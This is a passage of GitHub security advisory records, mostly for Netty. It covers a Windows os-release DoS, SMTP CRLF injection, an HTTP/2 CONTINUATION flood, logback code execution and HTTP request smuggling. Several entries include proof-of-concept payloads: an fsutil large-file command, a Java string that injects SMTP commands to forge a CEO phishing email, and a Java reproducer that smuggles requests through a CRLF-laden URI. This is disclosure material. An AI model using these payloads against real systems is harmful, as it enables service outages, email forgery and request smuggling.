"published": "2025-02-10T18:14:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-389x-839f-4rhx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25193"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/d1fbda62d3a47835d3fb35db8bd42ecc205a5386"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20250221-0006"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Denial of Service attack on windows app using Netty"
}
GHSA-XQ3W-V528-46RV
Vulnerability from github – Published: 2024-11-12 19:53 – Updated: 2025-02-18 15:57Summary
An unsafe reading of environment file could potentially cause a denial of service in Netty. When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash.
Details
When the library netty is loaded in a java windows application, the library tries to identify the system environnement in which it is executed.
At this stage, Netty tries to load both /etc/os-release and /usr/lib/os-release even though it is in a Windows environment.
If netty finds this files, it reads them and loads them into memory.
By default :
- The JVM maximum memory size is set to 1 GB,
- A non-privileged user can create a directory at
C:\and create files within it.
the source code identified : https://github.com/netty/netty/blob/4.1/common/src/main/java/io/netty/util/internal/PlatformDependent.java
Despite the implementation of the function normalizeOs() the source code not verify the OS before reading C:\etc\os-release and C:\usr\lib\os-release.
PoC
Create a file larger than 1 GB of data in C:\etc\os-release or C:\usr\lib\os-release on a Windows environnement and start your Netty application.
To observe what the application does with the file, the security analyst used "Process Monitor" from the "Windows SysInternals" suite. (https://learn.microsoft.com/en-us/sysinternals/)
cd C:\etc
fsutil file createnew os-release 3000000000
The source code used is the Netty website code example : Echo ‐ the very basic client and server.
The vulnerability was tested on the 4.1.112.Final version.
The security analyst tried the same technique for C:\proc\sys\net\core\somaxconn with a lot of values to impact Netty but the only things that works is the "larger than 1 GB file" technique. https://github.com/netty/netty/blob/c0fdb8e9f8f256990e902fcfffbbe10754d0f3dd/common/src/main/java/io/netty/util/NetUtil.java#L186
Impact
By loading the "file larger than 1 GB" into the memory, the Netty library exceeds the JVM memory limit and causes a crash in the java Windows application.
This behaviour occurs 100% of the time in both Server mode and Client mode if the large file exists.
Client mode :
Server mode :
somaxconn :
Severity
- Attack vector : "Local" because the attacker needs to be on the system where the Netty application is running.
- Attack complexity : "Low" because the attacker only need to create a massive file (regardless of its contents).
- Privileges required : "Low" because the attacker requires a user account to exploit the vulnerability.
- User intercation : "None" because the administrator don't need to accidentally click anywhere to trigger the vulnerability. Furthermore, the exploitation works with defaults windows/AD settings.
- Scope : "Unchanged" because only Netty is affected by the vulnerability.
- Confidentiality : "None" because no data is exposed through exploiting the vulnerability.
- Integrity : "None" because the explotation of the vulnerability does not allow editing, deleting or adding data elsewhere.
- Availability : "High" because the exploitation of this vulnerability crashes the entire java application.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.114.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-common"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.115.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-47535"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2024-11-12T19:53:17Z",
"nvd_published_at": "2024-11-12T16:15:22Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nAn unsafe reading of environment file could potentially cause a denial of service in Netty.\nWhen loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash.\n\n\n### Details\n\nWhen the library netty is loaded in a java windows application, the library tries to identify the system environnement in which it is executed.\n\nAt this stage, Netty tries to load both `/etc/os-release` and `/usr/lib/os-release` even though it is in a Windows environment. \n\n\u003cimg width=\"364\" alt=\"1\" src=\"https://github.com/user-attachments/assets/9466b181-9394-45a3-b0e3-1dcf105def59\"\u003e\n\nIf netty finds this files, it reads them and loads them into memory.\n\nBy default :\n\n- The JVM maximum memory size is set to 1 GB,\n- A non-privileged user can create a directory at `C:\\` and create files within it.\n\n\u003cimg width=\"340\" alt=\"2\" src=\"https://github.com/user-attachments/assets/43b359a2-5871-4592-ae2b-ffc40ac76831\"\u003e\n\n\u003cimg width=\"523\" alt=\"3\" src=\"https://github.com/user-attachments/assets/ad5c6eed-451c-4513-92d5-ba0eee7715c1\"\u003e\n\nthe source code identified :\nhttps://github.com/netty/netty/blob/4.1/common/src/main/java/io/netty/util/internal/PlatformDependent.java\n\nDespite the implementation of the function `normalizeOs()` the source code not verify the OS before reading `C:\\etc\\os-release` and `C:\\usr\\lib\\os-release`.\n\n### PoC\n\nCreate a file larger than 1 GB of data in `C:\\etc\\os-release` or `C:\\usr\\lib\\os-release` on a Windows environnement and start your Netty application.\n\nTo observe what the application does with the file, the security analyst used \"Process Monitor\" from the \"Windows SysInternals\" suite. (https://learn.microsoft.com/en-us/sysinternals/)\n\n```\ncd C:\\etc\nfsutil file createnew os-release 3000000000\n```\n\n\u003cimg width=\"519\" alt=\"4\" src=\"https://github.com/user-attachments/assets/39df22a3-462b-4fd0-af9a-aa30077ec08f\"\u003e\n\n\u003cimg width=\"517\" alt=\"5\" src=\"https://github.com/user-attachments/assets/129dbd50-fc36-4da5-8eb1-582123fb528f\"\u003e\n\nThe source code used is the Netty website code example : [Echo \u2010 the very basic client and server](https://netty.io/4.1/xref/io/netty/example/echo/package-summary.html).\n\nThe vulnerability was tested on the 4.1.112.Final version.\n\nThe security analyst tried the same technique for `C:\\proc\\sys\\net\\core\\somaxconn` with a lot of values to impact Netty but the only things that works is the \"larger than 1 GB file\" technique. https://github.com/netty/netty/blob/c0fdb8e9f8f256990e902fcfffbbe10754d0f3dd/common/src/main/java/io/netty/util/NetUtil.java#L186\n\n### Impact\n\nBy loading the \"file larger than 1 GB\" into the memory, the Netty library exceeds the JVM memory limit and causes a crash in the java Windows application.\n\nThis behaviour occurs 100% of the time in both Server mode and Client mode if the large file exists.\n\nClient mode :\n\n\u003cimg width=\"449\" alt=\"6\" src=\"https://github.com/user-attachments/assets/f8fe1ed0-1a42-4490-b9ed-dbc9af7804be\"\u003e\n\nServer mode :\n\n\u003cimg width=\"464\" alt=\"7\" src=\"https://github.com/user-attachments/assets/b34b42bd-4fbd-4170-b93a-d29ba87b88eb\"\u003e\n\nsomaxconn :\n\n\u003cimg width=\"532\" alt=\"8\" src=\"https://github.com/user-attachments/assets/0656b3bb-32c6-4ae2-bff7-d93babba08a3\"\u003e\n\n### Severity\n\n- Attack vector : \"Local\" because the attacker needs to be on the system where the Netty application is running.\n- Attack complexity : \"Low\" because the attacker only need to create a massive file (regardless of its contents).\n- Privileges required : \"Low\" because the attacker requires a user account to exploit the vulnerability.\n- User intercation : \"None\" because the administrator don\u0027t need to accidentally click anywhere to trigger the vulnerability. Furthermore, the exploitation works with defaults windows/AD settings.\n- Scope : \"Unchanged\" because only Netty is affected by the vulnerability.\n- Confidentiality : \"None\" because no data is exposed through exploiting the vulnerability.\n- Integrity : \"None\" because the explotation of the vulnerability does not allow editing, deleting or adding data elsewhere.\n- Availability : \"High\" because the exploitation of this vulnerability crashes the entire java application.",
"id": "GHSA-xq3w-v528-46rv",
"modified": "2025-02-18T15:57:45Z",
"published": "2024-11-12T19:53:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47535"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/fbf7a704a82e7449b48bd0bbb679f5661c6d61a3"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Denial of Service attack on windows app using netty"
}
GHSA-JQ43-27X9-3V86
Vulnerability from github – Published: 2025-10-15 17:12 – Updated: 2025-10-17 21:32Summary
An SMTP Command Injection (CRLF Injection) vulnerability in Netty's SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications.
Details
The root cause is the lack of input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters.
The vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command.
Because the injected commands are sent from the server's trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim's email client.
PoC
A minimal PoC involves passing a crafted string containing CRLF sequences to any SmtpRequest that accepts user-controlled parameters.
1. Malicious Payload
The core of the exploit is the payload, where new SMTP commands are injected into a parameter.
// The legitimate recipient is followed by an injected email sequence
String injected_recipient = "legit-recipient@example.com\r\n" +
"MAIL FROM:<ceo@trusted-domain.com>\r\n" +
"RCPT TO:<victim@anywhere.com>\r\n" +
"DATA\r\n" +
"From: ceo@trusted-domain.com\r\n" +
"To: victim@anywhere.com\r\n" +
"Subject: Urgent: Phishing Email\r\n" +
"\r\n" +
"This is a forged email that will pass authentication checks.\r\n" +
".\r\n" +
"QUIT\r\n";
2. Triggering the Vulnerability
The vulnerability is triggered when this payload is used to create an SMTP request.
// The Netty SMTP codec will fail to sanitize this input
SmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient);
// When this request is sent to an SMTP server, the injected commands
// will be executed, sending a forged email.
channel.writeAndFlush(maliciousRequest);
3. Full Reproduction Steps
A complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server
- Full PoC Code: https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c
To run the full PoC:
- Set up a local SMTP server. The easiest way is using MailHog:
- On macOS:
brew install mailhog && mailhog - Using Docker:
docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog
- On macOS:
- Run the PoC code. The code will connect to the SMTP server at
localhost:1025and send the malicious payload. - Verify the result. Open the MailHog web UI at
http://localhost:8025. You will see the forged email sent tovictim@anywhere.comfromceo@trusted-domain.com.
Impact
This is a SMTP Command Injection vulnerability. It impacts any application using netty-codec-smtp to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., from, recipient, helo hostname).
The primary impacts are: * Economic Manipulation & Disinformation: Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption. * Sophisticated Phishing: Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-smtp"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.7.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-smtp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.128.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-59419"
],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-15T17:12:55Z",
"nvd_published_at": "2025-10-15T16:15:35Z",
"severity": "HIGH"
},
"details": "### Summary\nAn SMTP Command Injection (CRLF Injection) vulnerability in Netty\u0027s SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications.\n\n### Details\nThe root cause is the lack of input validation for Carriage Return (\\r) and Line Feed (\\n) characters in user-supplied parameters.\n\nThe vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command.\n\nBecause the injected commands are sent from the server\u0027s trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim\u0027s email client.\n\n### PoC\nA minimal PoC involves passing a crafted string containing CRLF sequences to any `SmtpRequest` that accepts user-controlled parameters.\n\n**1. Malicious Payload**\n\nThe core of the exploit is the payload, where new SMTP commands are injected into a parameter.\n\n```java\n// The legitimate recipient is followed by an injected email sequence\nString injected_recipient = \"legit-recipient@example.com\\r\\n\" +\n \"MAIL FROM:\u003cceo@trusted-domain.com\u003e\\r\\n\" +\n \"RCPT TO:\u003cvictim@anywhere.com\u003e\\r\\n\" +\n \"DATA\\r\\n\" +\n \"From: ceo@trusted-domain.com\\r\\n\" +\n \"To: victim@anywhere.com\\r\\n\" +\n \"Subject: Urgent: Phishing Email\\r\\n\" +\n \"\\r\\n\" +\n \"This is a forged email that will pass authentication checks.\\r\\n\" +\n \".\\r\\n\" +\n \"QUIT\\r\\n\";\n```\n\n**2. Triggering the Vulnerability**\n\nThe vulnerability is triggered when this payload is used to create an SMTP request.\n\n```java\n// The Netty SMTP codec will fail to sanitize this input\nSmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient);\n\n// When this request is sent to an SMTP server, the injected commands\n// will be executed, sending a forged email.\nchannel.writeAndFlush(maliciousRequest);\n```\n\n**3. Full Reproduction Steps**\n\nA complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server\n\n* **Full PoC Code:** https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c\n\nTo run the full PoC:\n\n1. **Set up a local SMTP server.** The easiest way is using MailHog:\n * On macOS: `brew install mailhog \u0026\u0026 mailhog`\n * Using Docker: `docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog`\n2. **Run the PoC code.** The code will connect to the SMTP server at `localhost:1025` and send the malicious payload.\n3. **Verify the result.** Open the MailHog web UI at `http://localhost:8025`. You will see the forged email sent to `victim@anywhere.com` from `ceo@trusted-domain.com`.\n\n### Impact\nThis is a SMTP Command Injection vulnerability. It impacts any application using `netty-codec-smtp` to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., `from`, `recipient`, `helo` hostname).\n\nThe primary impacts are:\n* **Economic Manipulation \u0026 Disinformation:** Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption.\n* **Sophisticated Phishing:** Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users.",
"id": "GHSA-jq43-27x9-3v86",
"modified": "2025-10-17T21:32:39Z",
"published": "2025-10-15T17:12:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59419"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/1782e8c2060a244c4d4e6f9d9112d5517ca05120"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/2b3fddd3339cde1601f622b9ce5e54c39f24c3f9"
},
{
"type": "WEB",
"url": "https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://www.depthfirst.com/post/our-ai-agent-found-a-netty-zero-day-that-bypasses-email-authentication-the-story-of-cve-2025-59419"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Netty has SMTP Command Injection Vulnerability that Allows Email Forgery"
}
GHSA-W9FJ-CFPG-GRVV
Vulnerability from github – Published: 2026-03-26 18:49 – Updated: 2026-03-27 21:48Summary
A remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of CONTINUATION frames. The server's lack of a limit on the number of CONTINUATION frames, combined with a bypass of existing size-based mitigations using zero-byte frames, allows an user to cause excessive CPU consumption with minimal bandwidth, rendering the server unresponsive.
Details
The vulnerability exists in Netty's DefaultHttp2FrameReader. When an HTTP/2 HEADERS frame is received without the END_HEADERS flag, the server expects one or more subsequent CONTINUATION frames. However, the implementation does not enforce a limit on the count of these CONTINUATION frames.
The key issue is located in codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java. The verifyContinuationFrame() method checks for stream association but fails to implement a frame count limit.
Any user can exploit this by sending a stream of CONTINUATION frames with a zero-byte payload. While Netty has a maxHeaderListSize protection to limit the total size of headers, this check is never triggered by zero-byte frames. The logic effectively evaluates to maxHeaderListSize - 0 < currentSize, which will not trigger the limit until a non-zero byte is added. As a result, the server is forced to process an unlimited number of frames, consuming a CPU thread and monopolizing the connection.
codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java
verifyContinuationFrame() (lines 381-393) — No frame count check:
private void verifyContinuationFrame() throws Http2Exception {
verifyAssociatedWithAStream();
if (headersContinuation == null) {
throw connectionError(PROTOCOL_ERROR, "...");
}
if (streamId != headersContinuation.getStreamId()) {
throw connectionError(PROTOCOL_ERROR, "...");
}
// NO frame count limit!
}
HeadersBlockBuilder.addFragment() (lines 695-723) — Byte limit bypassed by 0-byte frames:
// Line 710-711: This check NEVER fires when len=0
if (headersDecoder.configuration().maxHeaderListSizeGoAway() - len <
headerBlock.readableBytes()) {
headerSizeExceeded(); // 10240 - 0 < 1 => FALSE always
}
When len=0: maxGoAway - 0 < readableBytes → 10240 < 1 → FALSE. The byte limit is never triggered.
Impact
This is a CPU-based Denial of Service (DoS). Any service using Netty's default HTTP/2 server implementation is impacted. An unauthenticated user can exhaust server CPU resources and block legitimate users, leading to service unavailability. The low bandwidth requirement for the attack makes it highly practical.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.132.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c 4.2.10.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.11.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33871"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-26T18:49:21Z",
"nvd_published_at": "2026-03-27T20:16:34Z",
"severity": "HIGH"
},
"details": "### Summary\nA remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of `CONTINUATION` frames. The server\u0027s lack of a limit on the number of `CONTINUATION` frames, combined with a bypass of existing size-based mitigations using zero-byte frames, allows an user to cause excessive CPU consumption with minimal bandwidth, rendering the server unresponsive.\n\n### Details\nThe vulnerability exists in Netty\u0027s `DefaultHttp2FrameReader`. When an HTTP/2 `HEADERS` frame is received without the `END_HEADERS` flag, the server expects one or more subsequent `CONTINUATION` frames. However, the implementation does not enforce a limit on the *count* of these `CONTINUATION` frames.\n\nThe key issue is located in `codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java`. The `verifyContinuationFrame()` method checks for stream association but fails to implement a frame count limit.\n\nAny user can exploit this by sending a stream of `CONTINUATION` frames with a zero-byte payload. While Netty has a `maxHeaderListSize` protection to limit the total size of headers, this check is never triggered by zero-byte frames. The logic effectively evaluates to `maxHeaderListSize - 0 \u003c currentSize`, which will not trigger the limit until a non-zero byte is added. As a result, the server is forced to process an unlimited number of frames, consuming a CPU thread and monopolizing the connection.\n\n`codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java`\n\n**`verifyContinuationFrame()` (lines 381-393)** \u2014 No frame count check:\n```java\nprivate void verifyContinuationFrame() throws Http2Exception {\n verifyAssociatedWithAStream();\n if (headersContinuation == null) {\n throw connectionError(PROTOCOL_ERROR, \"...\");\n }\n if (streamId != headersContinuation.getStreamId()) {\n throw connectionError(PROTOCOL_ERROR, \"...\");\n }\n // NO frame count limit!\n}\n```\n\n**`HeadersBlockBuilder.addFragment()` (lines 695-723)** \u2014 Byte limit bypassed by 0-byte frames:\n```java\n// Line 710-711: This check NEVER fires when len=0\nif (headersDecoder.configuration().maxHeaderListSizeGoAway() - len \u003c\n headerBlock.readableBytes()) {\n headerSizeExceeded(); // 10240 - 0 \u003c 1 =\u003e FALSE always\n}\n```\n\nWhen `len=0`: `maxGoAway - 0 \u003c readableBytes` \u2192 `10240 \u003c 1` \u2192 FALSE. The byte limit is never triggered.\n\n### Impact\nThis is a CPU-based Denial of Service (DoS). Any service using Netty\u0027s default HTTP/2 server implementation is impacted. An unauthenticated user can exhaust server CPU resources and block legitimate users, leading to service unavailability. The low bandwidth requirement for the attack makes it highly practical.",
"id": "GHSA-w9fj-cfpg-grvv",
"modified": "2026-03-27T21:48:53Z",
"published": "2026-03-26T18:49:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-w9fj-cfpg-grvv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33871"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Netty HTTP/2 CONTINUATION Frame Flood DoS via Zero-Byte Frame Bypass"
}
GHSA-25QH-J22F-PWP8
Vulnerability from github – Published: 2025-10-01 09:30 – Updated: 2025-10-31 20:17QOS.CH logback-core versions up to 1.5.18 contain an ACE vulnerability in conditional configuration file processing in Java applications. This vulnerability allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting a malicious environment variable before program execution.
A successful attack requires the Janino library and Spring Framework to be present on the user's class path. Additionally, the attacker must have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privileges.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "ch.qos.logback:logback-core"
},
"ranges": [
{
"events": [
{
"introduced": "1.4.0"
},
{
"fixed": "1.5.19"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "ch.qos.logback:logback-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.3.16"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-11226"
],
"database_specific": {
"cwe_ids": [
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-21T21:10:11Z",
"nvd_published_at": "2025-10-01T08:15:31Z",
"severity": "MODERATE"
},
"details": "QOS.CH logback-core versions up to 1.5.18 contain an ACE vulnerability in conditional configuration file processing in Java applications. This vulnerability allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting a malicious environment variable before program execution.\n\nA successful attack requires the Janino library and Spring Framework to be present on the user\u0027s class path. Additionally, the attacker must have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privileges.",
"id": "GHSA-25qh-j22f-pwp8",
"modified": "2025-10-31T20:17:45Z",
"published": "2025-10-01T09:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11226"
},
{
"type": "WEB",
"url": "https://github.com/qos-ch/logback/issues/974"
},
{
"type": "WEB",
"url": "https://github.com/qos-ch/logback/commit/61f6a2544f36b3016e0efd434ee21f19269f1df7"
},
{
"type": "PACKAGE",
"url": "https://github.com/qos-ch/logback"
},
{
"type": "WEB",
"url": "https://github.com/qos-ch/logback/releases/tag/v_1.5.19"
},
{
"type": "WEB",
"url": "https://logback.qos.ch/news.html#1.3.16"
},
{
"type": "WEB",
"url": "https://logback.qos.ch/news.html#1.5.19"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:H/UI:P/VC:H/VI:L/VA:L/SC:H/SI:L/SA:L",
"type": "CVSS_V4"
}
],
"summary": "QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing"
}
GHSA-84H7-RJJ3-6JX4
Vulnerability from github – Published: 2025-12-15 23:28 – Updated: 2025-12-20 02:30Summary
The io.netty.handler.codec.http.HttpRequestEncoder CRLF injection with the request uri when constructing a request. This leads to request smuggling when HttpRequestEncoder is used without proper sanitization of the uri.
Details
The HttpRequestEncoder simply UTF8 encodes the uri without sanitization (buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);)
The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers.
PoC
Simple reproducer:
public static void main(String[] args) {
EmbeddedChannel client = new EmbeddedChannel();
client.pipeline().addLast(new HttpClientCodec());
EmbeddedChannel server = new EmbeddedChannel();
server.pipeline().addLast(new HttpServerCodec());
server.pipeline().addLast(new ChannelInboundHandlerAdapter() {
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
System.out.println("Processing msg " + msg);
}
});
DefaultHttpRequest request = new DefaultHttpRequest(
HttpVersion.HTTP_1_1,
HttpMethod.GET,
"/s1 HTTP/1.1\r\n" +
"\r\n" +
"POST /s2 HTTP/1.1\r\n" +
"content-length: 11\r\n\r\n" +
"Hello World" +
"GET /s1"
);
client.writeAndFlush(request);
ByteBuf tmp;
while ((tmp = client.readOutbound()) != null) {
server.writeInbound(tmp);
}
}
Impact
Any application / framework using HttpRequestEncoder can be subject to be abused to perform request smuggling using CRLF injection.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.8.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.129.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-67735"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-15T23:28:49Z",
"nvd_published_at": "2025-12-16T01:15:52Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri.\n\n### Details\n\nThe `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`)\n\nThe default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers.\n\n### PoC\n\nSimple reproducer:\n\n```java\npublic static void main(String[] args) {\n\n EmbeddedChannel client = new EmbeddedChannel();\n client.pipeline().addLast(new HttpClientCodec());\n\n EmbeddedChannel server = new EmbeddedChannel();\n server.pipeline().addLast(new HttpServerCodec());\n server.pipeline().addLast(new ChannelInboundHandlerAdapter() {\n @Override\n public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {\n System.out.println(\"Processing msg \" + msg);\n }\n });\n\n DefaultHttpRequest request = new DefaultHttpRequest(\n HttpVersion.HTTP_1_1,\n HttpMethod.GET,\n \"/s1 HTTP/1.1\\r\\n\" +\n \"\\r\\n\" +\n \"POST /s2 HTTP/1.1\\r\\n\" +\n \"content-length: 11\\r\\n\\r\\n\" +\n \"Hello World\" +\n \"GET /s1\"\n );\n client.writeAndFlush(request);\n ByteBuf tmp;\n while ((tmp = client.readOutbound()) != null) {\n server.writeInbound(tmp);\n }\n}\n```\n\n### Impact\n\nAny application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection.",
"id": "GHSA-84h7-rjj3-6jx4",
"modified": "2025-12-20T02:30:14Z",
"published": "2025-12-15T23:28:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67735"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/77e81f1e5944d98b3acf887d3aa443b252752e94"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder"
}
GHSA-5JPM-X58V-624V
Vulnerability from github – Published: 2024-03-25 19:40 – Updated: 2024-06-22 00:30Summary
The HttpPostRequestDecoder can be tricked to accumulate data. I have spotted currently two attack vectors
Details
